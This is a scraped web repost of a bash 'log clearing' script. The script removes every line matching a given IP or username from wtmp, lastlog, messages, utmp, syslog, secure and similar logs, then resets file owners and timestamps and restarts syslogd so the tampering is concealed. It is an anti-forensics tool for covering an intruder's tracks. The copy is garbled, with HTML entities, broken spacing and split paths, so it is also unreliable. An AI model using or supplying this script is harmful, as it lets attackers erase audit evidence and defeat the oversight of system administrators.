Linux log clearing script

Source: Internet
Author: User
Linux log clearing script Python code www.2cto.com #! /Bin/bashecho & quot; linuxclearlog & quot; echo & quot; byseala & quot; echo & quot; ClearlogrootorClearlogIP & quot ;#...
Linux log clearing script Python code www.2cto.com #! /Bin/bash echo "linux clear log" echo "by seala" echo "======================== ======= "echo" Clearlog root or Clearlog IP "# chmod 777 log #. /log xx. xx. xx. xx And. /log root if [-f "/var/log/wtmp"]; then cat/var/log/wtmp | grep-v $1>/var/log/temp1; chgrp -- reference/var/log/wtmp/var/log/temp1; chown -- reference/var/log/wtmp/var/log/temp1; touch-r/var/log/wtmp/var/log/temp1; mv-f /Var/log/temp1/var/log/wtmp; fi if [-f "/var/log/lastlog"]; then cat/var/log/lastlog | grep-v $1>/var/log/temp2; chgrp -- reference/var/log/lastlog/var/log/temp2; chown -- reference/var/log/lastlog/var/log/temp2; touch-r/var/log/lastlog/var/log/temp2; mv-f/var/log/temp2/var/log/lastlog; fi if [-f "/var/log/messages"]; then cat/var/log/messages | grep-v $1>/var/log/temp3; chgrp -- Reference/var/log/messages/var/log/temp3; chown -- reference/var/log/messages/var/log/temp3; touch-r/var/log/messages/var/log/temp3; mv-f/var/log/temp3/var/log/messages; fi if [-f "/var/log/utmp"]; then cat/var/log/utmp | grep-v $1>/var/log/temp4; chgrp -- reference/var/log/utmp/var/log/temp4; chown -- reference/var/log/utmp/var/log/temp4; touch-r/var/log/utmp/var/log/temp4; Mv-f/var/log/temp4/var/log/utmp; fi if [-f "/var/log/wtmpx"]; then cat/var/log/wtmpx | grep-v $1>/var/log/temp5; chgrp -- reference/var/log/wtmpx/var/log/temp5; chown -- reference/var/log/wtmpx/var/log/temp5; touch-r/var/log/wtmpx/var/log/temp5; mv-f/var/log/temp5/var/log/wtmpx; fi if [-f "/var/log/utmpx"]; then cat/var/log/utmpx | grep-v $1>/var/log/temp6; chgrp -- reference /Var/log/utmpx/var/log/temp6; chown -- reference/var/log/utmpx/var/log/temp6; touch-r/var/log/utmpx/var/log/temp6; mv-f/var/log/temp6/var/log/utmpx; fi if [-f "/var/log/syslog"]; then cat/var/log/syslog | grep-v $1>/var/log/temp7; chgrp -- reference/var/log/syslog/var/log/temp7; chown -- reference/var/log/syslog/var/log/temp7; touch-r/var/log/syslog/var/log/temp7; mv-f/var/lo G/temp7/var/log/syslog; fi if [-f "/var/log/secure"]; then cat/var/log/secure | grep-v $1>/var/log/temp8; chgrp -- reference/var/log/secure/var/log/temp8; chown -- reference/var/log/secure/var/log/temp8; touch-r/var/log/secure/var/log/temp8; mv-f/var/log/temp8/var/log/secure; fi/usr/bin/killall-HUP syslogd; echo "Clear log is success!"
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.